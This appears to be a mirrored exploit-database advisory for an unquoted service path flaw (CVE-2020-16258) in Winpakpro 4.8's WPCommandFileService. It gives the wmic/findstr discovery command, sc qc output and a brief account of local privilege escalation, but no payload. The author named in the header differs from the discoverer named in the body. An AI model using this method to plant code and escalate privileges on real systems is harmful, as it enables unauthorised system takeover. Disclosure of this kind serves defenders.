Winpakpro 4.8 WPCommandFileService Unquoted Service Path

CVE Category Price Severity
CVE-2020-16258 CWE-428 $5,000 High
Author Risk Exploitation Type Date
Mohamed Hussain High Local 2021-04-05
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Winpakpro 4.8 WPCommandFileService Unquoted Service Path
# Exploit Title: Winpakpro 4.8 - 'WPCommandFileService' Unquoted Service Path
# Discovery by: Alan Mondragon
# Discovery Date: 2021-03-16
# Vendor Homepage:
# Software Links :
# WinPackPro
# Tested Version: 4.8 
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro 64 bits
# Step to discover Unquoted Service Path: 
C:\WINDOWS\system32>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

WIN-PAK WPCommandFileService                                                                                                                   WPCommandFileService                                           C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe                                                                                   Auto

C:\Users\jorge.irigoyen>sc qc "WPCommandFileService"
[SC] QueryServiceConfig CORRECTO

        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START <DELAYED>
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : WIN-PAK Command File Service
        DEPENDENCIAS       : WPDatabaseService
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

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